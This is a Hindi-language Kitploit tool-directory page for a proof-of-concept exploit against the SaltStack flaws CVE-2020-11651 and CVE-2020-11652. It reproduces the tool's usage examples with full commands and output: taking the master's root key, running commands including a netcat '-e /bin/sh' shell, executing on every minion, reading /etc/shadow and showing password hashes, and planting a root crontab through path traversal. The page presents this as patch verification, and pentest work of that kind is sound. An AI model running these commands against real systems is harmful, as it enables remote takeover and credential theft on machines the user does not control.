Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2020-11651-poc — प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट CVE-2020-11651 और CVE-2020-11652 के लिए, जो कमजोर SaltStack मास्टर और मिनियन पर दूरस्थ कमांड निष्पादन और फ़ाइलसिस्टम एक्सेस सक्षम करता है। | Kitploit
उपकरण/GitHubGitHub/jasperla/cve-2020-11651-poc
पेलोड जनरेशनभेद्यता विश्लेषणशोषणपेनिट्रेशन टेस्टिंगकमांड एंड कंट्रोलरिमोट एक्सेस टूल
GitHubjasperla/cve-2020-11651-poc

CVE-2020-11651-poc

प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट CVE-2020-11651 और CVE-2020-11652 के लिए, जो कमजोर SaltStack मास्टर और मिनियन पर दूरस्थ कमांड निष्पादन और फ़ाइलसिस्टम एक्सेस सक्षम करता है।

रिपॉजिटरी देखें
1224256 साल पहलेKitploit द्वारा समीक्षित

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2020-11651 और CVE-2020-11652 के लिए PoC शोषण

यह प्रारंभिक चेक स्क्रिप्ट पर आधारित एक प्रूफ ऑफ कॉन्सेप्ट शोषण है। इसका उपयोग यह सत्यापित करने के लिए करें कि आपने अपने Salt मास्टर सर्वरों को आवश्यक सुधारों वाले रिलीज़ में सफलतापूर्वक अपडेट कर दिया है।

F-Secure Labs को उनके शोध और रिपोर्टिंग के लिए धन्यवाद।

वर्तमान में इस स्क्रिप्ट का उपयोग मास्टर और सभी जुड़े मिनियन पर फाइलसिस्टम एक्सेस और कमांड शेड्यूल करने के लिए किया जा सकता है। इन शक्तियों का बुद्धिमानी से उपयोग करें!

उपयोग

डिफ़ॉल्ट ऑपरेशन (बिना तर्कों के) दिए गए मास्टर के लिए रूट कुंजी प्राप्त करना है:

root@kitploit:~
root@kalimah:~/salt# python3 exploit.py --master 192.168.115.130
[!] Please only use this script to verify you have correctly patched systems you have permission to access. Hit ^C to abort.
[+] Salt version: 3000.1
[ ] This version of salt is vulnerable! Check results below
[+] Checking salt-master (192.168.115.130:4506) status... ONLINE
[+] Checking if vulnerable to CVE-2020-11651...
[*] root key obtained: b5pKEa3Mbp/TD7TjdtUTLxnk0LIANRZXC+9XFNIChUr6ZwIrBZJtoZZ8plfiVx2ztcVxjK2E1OA=
root@kalimah:~/salt#

मास्टर पर स्वेच्छित कमांड निष्पादित करना:

root@kitploit:~
root@kalimah:~/salt# python3 exploit.py --master 192.168.115.130 --exec "nc 127.0.0.1 4444 -e /bin/sh"
[!] Please only use this script to verify you have correctly patched systems you have permission to access. Hit ^C to abort.
[+] Salt version: 3000.1
[ ] This version of salt is vulnerable! Check results below
[+] Checking salt-master (192.168.115.130:4506) status... ONLINE
[+] Checking if vulnerable to CVE-2020-11651...
[*] root key obtained: b5pKEa3Mbp/TD7TjdtUTLxnk0LIANRZXC+9XFNIChUr6ZwIrBZJtoZZ8plfiVx2ztcVxjK2E1OA=
[+] Attemping to execute nc 127.0.0.1 4444 -e /bin/sh on 192.168.115.130
[+] Successfully scheduled job: 20200504153851746472
root@kalimah:~/salt#

यही, लेकिन सभी मिनियन पर:

root@kitploit:~
root@kalimah:~/salt# python3 exploit.py --master 192.168.115.130 --exec-all="apt-get upgrade -y"
[!] Please only use this script to verify you have correctly patched systems you have permission to access. Hit ^C to abort.
[+] Salt version: 3000.1
[ ] This version of salt is vulnerable! Check results below
[+] Checking salt-master (192.168.115.130:4506) status... ONLINE
[+] Checking if vulnerable to CVE-2020-11651...
[*] root key obtained: b5pKEa3Mbp/TD7TjdtUTLxnk0LIANRZXC+9XFNIChUr6ZwIrBZJtoZZ8plfiVx2ztcVxjK2E1OA=
[!] Lester, is this what you want? Hit ^C to abort.
[+] Attemping to execute 'apt-get upgrade -y' on all minions connected to 192.168.115.130
[+] Successfully submitted job to all minions.
root@kalimah:~/salt#

फ़ाइलें इस प्रकार पढ़ी जा सकती हैं:

root@kitploit:~
root@kalimah:~/salt# python2 exploit.py --master 192.168.115.130 -r /etc/shadow
[+] Salt version: 2019.2.0
[ ] This version of salt is vulnerable! Check results below
[+] Checking salt-master (192.168.115.130:4506) status... ONLINE
[+] Checking if vulnerable to CVE-2020-11651...
[*] root key obtained: GkJiProN36+iZ53buhvhm3dWcC/7BZyEomu3lSFucQF9TkrCRfA32EIFAk/yyQMkCyqZyxjjp/E=
[+] Attemping to read /etc/shadow from 192.168.115.130
root:$6$7qfolaa/$3yhszWj/VUJjfPaqr1yO6NLgV/FhHnVT9Pr6spwJ/F0BJw5vFM.3KjtwcnnuGo5uSJJkLrd28jXrmVZUD9nEI/:17812:0:99999:7:::
daemon:*:17785:0:99999:7:::
bin:*:17785:0:99999:7:::
sys:*:17785:0:99999:7:::
sync:*:17785:0:99999:7:::
games:*:17785:0:99999:7:::
man:*:17785:0:99999:7:::
[...]

फ़ाइलों को --upload-src और --upload-dest का उपयोग करके अपलोड किया जा सकता है। ध्यान दें कि गंतव्य एक सापेक्ष पथ होना चाहिए:

root@kitploit:~
root@kalimah:~/salt#  python2 exploit.py --upload-src evil.crontab --upload-dest ../../../../../../var/spool/cron/crontabs/root
[+] Salt version: 2019.2.0
[ ] This version of salt is vulnerable! Check results below
[+] Checking salt-master (127.0.0.1:4506) status... ONLINE
[+] Checking if vulnerable to CVE-2020-11651...
[*] root key obtained: GkJiProN36+iZ53buhvhm3dWcC/7BZyEomu3lSFucQF9TkrCRfA32EIFAk/yyQMkCyqZyxjjp/E=
[-] Destination path must be relative
[+] Attemping to upload evil.crontab to ../../../../../../var/spool/cron/crontabs/root on 127.0.0.1
[ ] Wrote data to file /srv/salt/../../../../../../var/spool/cron/crontabs/root

आवश्यकताएँ

  • Python 2 या 3
  • Salt (pip3 install salt)
टूल डाउनलोड करें